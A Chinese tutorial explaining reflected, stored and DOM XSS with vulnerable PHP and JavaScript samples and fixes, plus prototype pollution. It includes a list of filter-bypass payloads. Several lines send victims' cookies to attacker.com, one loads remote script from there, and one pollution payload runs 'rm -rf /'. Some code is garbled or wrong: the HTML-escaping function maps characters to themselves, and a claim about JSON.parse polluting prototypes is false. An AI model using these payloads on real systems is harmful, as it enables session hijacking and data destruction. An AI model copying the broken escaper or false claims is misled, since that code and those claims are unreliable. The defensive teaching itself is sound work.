一、XSS漏洞原理
1.概述
XSS被称为跨站脚本攻击(Cross Site Scripting),由于和层叠样式表(Cascading Style Sheets,CSS)重名,改为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。
2.利用方式
利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等。
3.执行方式
用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。
4.攻击对象
客户端攻击,对象大多为用户,网站管理员。
还有微博,网页留言板,聊天室等收集用户输入的地方。
5.XSS危害
(1)窃取cookie
因为大部分人喜欢将密码储存到浏览器当中,所以黑客一般渗透的时候就会先来浏览器查看已保存的cookie 来盗取各种用户账号
(2)未授权操作
js特性很强大,黑客会直接代替用户在html进行各类操作。比如劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入。
(3)传播蠕虫病毒
6.简单代码
bash
<?php
$input = $_GET["XSS"];
echo "<div>".$input."</div>";
?>
在这段PHP代码中 主要具有两个功能:
1.获取用户输入 :input = _GET["XSS"]
;
这行代码的作用是从 HTTP GET 请求的参数中获取名为XSS
的参数值 。比如访问 http://yourdomain.com/yourscript.php?XSS=test 时,$input 变量就会被赋值为 test 。2.输出内容到页面 :echo "
".input.""`;` 会把获取到的 input 变量的值,包裹在标签里,输出到页面的 HTML 中,最终在浏览器渲染后,会以包含对应内容的形式展示。但是这段代码存在 反射型 XSS(跨站脚本攻击)漏洞 :
因为它直接把用户可控的
GET
参数(未做任何过滤、转义处理)拼接到 HTML 输出里。如果攻击者构造恶意请求,比如让用户访问 http://yourdomain.com/yourscript.php?XSS=<script>alert('恶意脚本执行')</script> ,当页面执行 echo 输出时,浏览器会把 <script> 里的代码当作合法 JavaScript 执行,可能导致弹窗骚扰用户、窃取用户 Cookie(进而冒充用户身份)、劫持会话等危害。若要安全输出用户输入,需对内容进行 HTML 转义,使用 htmlspecialchars 函数,示例:
bash<?php $input = $_GET["XSS"]; // 转义特殊字符,避免 XSS,指定编码为 UTF-8,处理单双引号 echo "<div>".htmlspecialchars($input, ENT_QUOTES, 'UTF-8')."</div>"; ?>
这样能把像 < > 等特殊字符转成 HTML 实体(如 < 转成 <
;
),保证浏览器当作文本渲染,而非可执行代码,从而防范 XSS 攻击 。二、XSS漏洞分类
1.反射型XSS
反射型XSS 是非持久性、参数型的跨站脚本,也是最容易出现的XSS漏洞 。反射型XSS 的 JS 代码在 Web 应用的参数(变量)中,如搜索框的反射型XSS 。在搜索框中,提交 PoC[scriptalert(/xss/)/script] ,点击搜索,即可触发反射型XSS。注意到,我们提交的poc 会出现在 search.php 页面的 keywords 参数中。
原理
用户在请求某个URL地址时,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码注入到URL,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面,那么XSS攻击代码就会被一起传输到用户的浏览器,触发反射型XSS。
特点
非持久性
参数脚本
js代码在web应用的参数当中:搜索框
数据流量:浏览器---->后端---->浏览器
案例
场景假设:
假设有一个网站,其中有一个搜索页面search.php ,原本设计是让用户输入关键词,然后返回搜索结果。但是,该页面的代码没有对用户输入进行安全处理。
search.php 的原始代码(存在漏洞版本)如下:
php<?php // 获取用户通过GET方式传递的关键词 $keyword = $_GET['keyword']; ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>搜索结果</title> </head> <body> <h1>搜索关键词:<?php echo $keyword;?></h1> <!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 --> <p>暂未找到相关结果。</p> </body> </html>
上述代码直接将用户通过
GET
请求传入的keyword参数输出到 HTML 页面中,没有进行任何过滤或转义处理。攻击过程:
攻击者构造一个恶意的 URL,例如:
bashhttp://example.com/search.php?keyword=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
当受害者点击这个链接时:
- 服务器接收到请求,获取到keyword参数值为恶意的 JavaScript 代码。
- 服务器将keyword的值直接输出到 HTML 页面中,浏览器解析页面时,会执行这段恶意的 JavaScript 代码。
- 代码会将受害者当前网站的 Cookie 信息发送到攻击者指定的http://attacker.com/steal.php 页面,攻击者通过steal.php脚本就可以获取到受害者的 Cookie。
- 攻击者拿到 Cookie 后,可能会利用该 Cookie 进行会话劫持,冒充受害者登录网站,执行各种非法操作,比如修改受害者的个人信息、进行交易等。
如何防御:
要修复这个反射型 XSS 漏洞,可以对输出到 HTML 页面中的用户输入进行转义,使用htmlspecialchars函数,修改后的search.php代码如下:
php<?php // 获取用户通过GET方式传递的关键词 $keyword = $_GET['keyword']; ?> <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>搜索结果</title> </head> <body> <h1>搜索关键词:<?php echo htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');?></h1> <!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 --> <p>暂未找到相关结果。</p> </body> </html>
htmlspecialchars函数会将特殊的 HTML 字符转换为 HTML 实体,比如将<转换为<,这样浏览器就会将其当作普通文本显示,而不会执行恶意脚本,从而有效防范反射型 XSS 攻击。
2.存储型XSS
存储型XSS是持久性跨站脚本,其持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中,存储型XSS通常发生在留言板等地方,我们在留言板位置留言并将恶意代码写进数据库中,此时我们只完成了第一步即把恶意代码写入数据库,因为XSS使用的JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码才能真正触发XSS,此时需要我们模拟网站后台管理员的身份查看留言。
原理
被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XSS代码保存到数据库中,当用户在此访问这个页面时,就会触发并执行XSS代码,窃取用户的敏感信息。
特点
危害性最大:持久的保存在服务器上
持久型XSS
js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。
数据流量走向:浏览器--->后端--->数据库--->后端--->浏览器
案例
场景假设:
假设存在一个简单的留言板网站,使用 PHP 和 MySQL 搭建,允许用户输入姓名和留言内容,管理员可以在后台查看所有留言。
漏洞代码分析:
- 前端页面(
index.html
):包含一个表单,用于用户提交姓名和留言。
html<!DOCTYPE html> <html> <body> <form action="submit.php" method="post"> <label for="name">姓名:</label> <input type="text" id="name" name="name" required><br> <label for="message">留言:</label> <textarea id="message" name="message" required></textarea><br> <input type="submit" value="提交"> </form> </body> </html>
- 后端处理页面(
submit.php
):接收前端提交的数据,将其插入到数据库中,但未对数据进行任何安全处理。
php<?php // 数据库连接配置 $servername = "localhost"; $username = "root"; $password = "password"; $dbname = "guestbook"; // 创建连接 $conn = new mysqli($servername, $username, $password, $dbname); // 检查连接 if ($conn->connect_error) { die("连接失败: ". $conn->connect_error); } // 获取用户输入 $name = $_POST['name']; $message = $_POST['message']; // 插入数据到数据库,未对输入进行处理 $sql = "INSERT INTO messages (name, message) VALUES ('$name', '$message')"; if ($conn->query($sql) === TRUE) { echo "留言提交成功"; } else { echo "Error: ". $sql. "<br>". $conn->error; } $conn->close(); ?>
- 查看留言页面(
view.php
):从数据库中读取留言,并显示在页面上,同样未对从数据库中取出的数据进行处理。
php<?php // 数据库连接配置 $servername = "localhost"; $username = "root"; $password = "password"; $dbname = "guestbook"; // 创建连接 $conn = new mysqli($servername, $username, $password, $dbname); // 检查连接 if ($conn->connect_error) { die("连接失败: ". $conn->connect_error); } // 从数据库获取留言 $sql = "SELECT * FROM messages"; $result = $conn->query($sql); if ($result->num_rows > 0) { while($row = $result->fetch_assoc()) { echo "姓名: ". $row["name"]. "<br>"; echo "留言: ". $row["message"]. "<br><hr>"; } } else { echo "没有留言"; } $conn->close(); ?>
攻击过程:
- 攻击者访问留言板页面index.html,在姓名或留言输入框中输入恶意脚本,例如在留言输入框中输入<script>alert('你被XSS攻击了!')</script>,然后提交表单。
submit.php
页面将攻击者输入的数据未经处理直接插入到数据库中。- 当管理员访问
view.php
页面查看留言时,浏览器从服务器获取到包含恶意脚本的留言数据,并将其渲染到页面中。由于浏览器会执行页面中的 JavaScript 代码,所以恶意脚本被执行,弹出 "你被 XSS 攻击了!" 的警告框。如果攻击者将恶意脚本编写得更复杂,例如<script>fetch('https://attacker.com/steal.php'`, `{method: 'POST', body: document.cookie});</script>,还可以将管理员的 Cookie 等敏感信息发送到攻击者的服务器,进而可能实现会话劫持等更严重的攻击。修复方法:
- 在submit.php页面中,对用户输入的数据进行严格的过滤和转义,使用htmlspecialchars函数将特殊的 HTML 字符转换为 HTML 实体,例如:
php$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF - 8'); $message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF - 8');
- 在view.php页面中,同样对从数据库中取出并要输出到页面的数据进行转义处理,再进行显示,以确保恶意脚本不会被执行。
3.DOM型XSS
DOM XSS 比较特殊。 owasp 关于 DOM 型 XSS 的定义是基于 DOM 的 XSS 是一种 XSS 攻击,其中攻击的payload 由于修改受害者浏览器页面的 DOM 树而执行的。其特殊的地方就是 payload 在浏览器本地修改DOM 树而执行,并不会传到服务器上,这也就使得 DOM XSS 比较难以检测。
原理
基于文档对象模型(DOM)的一种漏洞。这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析,客户端的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
特点
- 不经过服务器:恶意脚本的注入和执行完全在前端完成,服务器未参与数据存储或输出,因此传统的服务器端过滤可能失效。
- 依赖前端 JavaScript :漏洞根源是前端代码对 DOM 操作的不安全处理,需重点关注innerHTML、outerHTML、document.write()等危险 API 的使用。
非持久性
数据流量:URL--->浏览器
案例
场景假设:
一个简单的网页,功能是 "搜索结果展示":用户输入搜索关键词后,页面通过 JavaScript 直接从 URL 的search参数中读取内容,并动态插入到页面 DOM 中,用于显示 "您搜索的内容是:XXX"
漏洞代码(前端 HTML)
html<!DOCTYPE html> <html> <head> <title>DOM型XSS示例</title> </head> <body> <h1>搜索结果</h1> <!-- 显示搜索关键词的区域 --> <div id="searchResult"></div> <script> // 从URL中获取search参数的值(例如:?search=test) function getParameter(name) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(name); } // 直接将参数值插入到页面DOM中 const searchTerm = getParameter('search'); document.getElementById('searchResult').innerHTML = `您搜索的内容是:${searchTerm}`; </script> </body> </html>
漏洞分析
代码的核心问题在于:通过innerHTML直接将用户可控的search参数值插入到 DOM 中,且未做任何过滤或转义。
- innerHTML会将内容解析为 HTML 并执行其中的脚本,而非当作纯文本处理。
- 用户输入的内容(通过 URL 参数search传递)完全可控,攻击者可构造恶意脚本。
攻击过程
1.攻击者构造恶意 URL :
攻击者在search参数中插入恶意 JavaScript 代码,例如:
htmlhttp://example.com/search.html?search=<script>alert('DOM XSS攻击成功')</script>
2.受害者访问 URL :
当受害者点击该 URL 时,页面通过 JavaScript 读取search参数的值,并通过innerHTML插入到searchResult节点中。
3.恶意脚本执行 :
浏览器解析页面时,会将<script>标签内的代码当作合法脚本执行,弹出 "DOM XSS 攻击成功" 的警告框。
4.更危险的攻击 :
攻击者可编写窃取 Cookie 的脚本,例如:
htmlhttp://example.com/search.html?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
受害者访问后,其 Cookie 会被发送到攻击者的服务器,可能导致会话劫持。
修复方法
核心原则:避免将用户可控内容通过innerHTML等危险方式插入 DOM,或对内容进行严格转义。
方法 1:使用textContent替代innerHTML(推荐)
textContent会将内容当作纯文本处理,不会解析 HTML 或执行脚本:
javascript// 安全的写法:用textContent替代innerHTML document.getElementById('searchResult').textContent = `您搜索的内容是:${searchTerm}`;
方法 2:对内容进行 HTML 转义
若必须使用innerHTML,需先将特殊字符转义为 HTML 实体(如<转<
;
):
javascript// 定义转义函数 function escapeHtml(unsafe) { return unsafe.replace(/[&<>"']/g, function(match) { const entities = { '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' }; return entities[match]; }); } // 转义后再插入DOM const safeSearchTerm = escapeHtml(searchTerm || ''); document.getElementById('searchResult').innerHTML = `您搜索的内容是:${safeSearchTerm}`;
DOM 型 XSS 的防御核心在于规范前端 DOM 操作,避免信任用户输入的内容。
三、XSS payload及变形
1.基础反射型 / 存储型 XSS Payloads
(1) 基础弹窗测试
html<script>alert('XSS')</script> <svg/onload=alert(1)>
(2) Cookie 窃取(最危险)
html<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
(3) 会话劫持(结合 CSRF)
html<script>window.open('https://victim-site.com/transfer?amount=1000&to=attacker')</script>
2.变形与绕过技术
(1) 大小写混淆
html<ScRiPt>alert('XSS')</ScRiPt>
(2) 标签嵌套绕过过滤
html<scr<script>ipt>alert('XSS')</scr</script>ipt>
(3) 事件处理函数(无需<script>标签)
html<img src="x" onerror="alert('XSS')"> <div onmouseover="alert('XSS')">Hover me</div> <input type="text" onfocus="alert('XSS')">
(4) HTML 实体编码
html<script>alert(1)</script> <!-- <script>alert(1)</script> -->
(5) JavaScript URI 编码
htmljavascript:alert('XSS')
(6)SVG 注入
html<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
3.DOM 型 XSS 专用 Payloads
(1)URL 参数注入(利用location.hash或location.search)
javascript// 假设漏洞点在location.hash中 http://example.com/#<script>alert('XSS')</script> // 利用document.write() http://example.com/search?term=<script>document.write('XSS')</script>
(2)利用eval()/setTimeout()等动态执行函数
javascript// 假设存在漏洞:eval(user_input) http://example.com?data=alert('XSS') // 结合 onerror 或其他事件触发 // 变形: http://example.com?callback=alert('XSS') // JSONP回调注入
4.高级变形技术
(1) 编码绕过(Base64/Unicode)
html<script>eval(atob('YWxlcnQoJ1hTUycp'))</script> <!-- 解码后为alert('XSS') -->
(2) 利用 HTML5 特性
html<video src="x" onerror="alert('XSS')"></video> <audio src="x" onerror="alert('XSS')"></audio>
(3) 跨协议攻击
html<script src="https://attacker.com/malicious.js"></script>
(4) CSS 注入(结合 XSS)
html<style>body{background-image:url('javascript:alert("XSS")')}</style>
5.防御绕过策略
(1)过滤<script>标签:
使用事件处理函数(如onerror)或 SVG 替代。
(2)转义引号:
使用不需要引号的事件(如<svg onload>)。
(3)CSP(内容安全策略)绕过:
html<!-- 假设CSP允许'self',但未限制data: --> <script src="data:text/javascript,alert('XSS')"></script>
(4)JavaScript 混淆:
javascript[].forEach.call('alert("XSS")'.split(''),function(c){document.write(c)})
补充
原型链污染
原型链污染(Prototype Pollution)是一种 JavaScript 特有的安全漏洞,攻击者通过修改 JavaScript 对象的原型(Object.prototype)来改变所有对象的行为。这种漏洞可能导致严重的安全后果,如任意代码执行、XSS 攻击或绕过安全机制。
一、JavaScript 原型链基础
JavaScript 使用原型继承 ,每个对象都有一个内部属性[[Prototype]](可通过__proto__访问)。当访问一个对象的属性时,JavaScript 会先查找对象本身,若找不到则沿原型链向上查找。所有对象最终继承自Object.prototype。
示例
javascriptconst obj = {}; obj.toString(); // 继承自Object.prototype.toString
二、原型链污染原理
攻击者通过修改Object.prototype注入新属性或方法,导致所有对象(包括系统对象)继承这些改动。常见的注入点是允许用户修改对象属性的函数(如配置合并、递归赋值等)。
攻击条件:
- 应用动态修改对象属性(尤其是嵌套对象)。
- 未对用户输入进行严格过滤。
三、漏洞示例
1. 基础污染(通过__proto__)
javascriptconst userInput = JSON.parse('{"__proto__":{"isAdmin":true}}'); const obj = {}; console.log(obj.isAdmin); // 输出true,原型被污染
2. 真实场景:配置合并函数
许多库(如lodash、webpack)提供深合并功能,若未过滤__proto__,可能导致污染:
javascriptfunction merge(target, source) { for (const key in source) { if (typeof target[key] === 'object' && typeof source[key] === 'object') { merge(target[key], source[key]); // 递归合并 } else { target[key] = source[key]; // 直接赋值 } } return target; } // 攻击向量 const payload = JSON.parse('{"__proto__":{"secret":"hacked"}}'); const config = {}; merge(config, payload); console.log({}.secret); // 输出"hacked",所有对象被污染
四、攻击场景
1. 绕过 JWT 验证
javascript// 假设应用通过obj.token存在性验证用户 const payload = JSON.parse('{"__proto__":{"token":"admin"}}'); merge({}, payload); const user = {}; if (user.token) { console.log("已认证为管理员"); // 绕过验证 }
2. XSS 攻击
javascript// 假设应用将用户输入直接嵌入HTML const payload = JSON.parse('{"__proto__":{"toString":"<script>alert("XSS")</script>"}}'); merge({}, payload); const output = `<div>${{}}</div>`; // 触发XSS
3. 任意代码执行
通过污染Function.prototype或process对象(Node.js 环境):
javascript// Node.js环境 const payload = JSON.parse('{"__proto__":{"constructor":{"prototype":{"env":{"NODE_OPTIONS":"--require=child_process;child_process.execSync(\"rm -rf /\")"}}}}}}'); merge({}, payload); // 后续代码执行时可能触发命令执行
五、防御措施
1. 禁止修改原型属性
在合并函数中过滤__proto__、constructor和prototype:
javascriptfunction safeMerge(target, source) { for (const key in source) { if (key === '__proto__' || key === 'constructor' || key === 'prototype') { continue; // 跳过原型相关属性 } // 其他合并逻辑... } }
2. 使用安全的解析函数
避免直接解析用户输入的 JSON,使用JSON.parse的 reviver 参数:
javascriptconst safeObj = JSON.parse(userInput, (key, value) => { if (key === '__proto__') return undefined; return value; });
3. 禁用原型继承
使用Object.create(null)创建无原型的对象:
javascriptconst obj = Object.create(null); // 没有继承任何属性
4. 限制用户输入
只允许白名单内的字符或格式,避免复杂对象结构。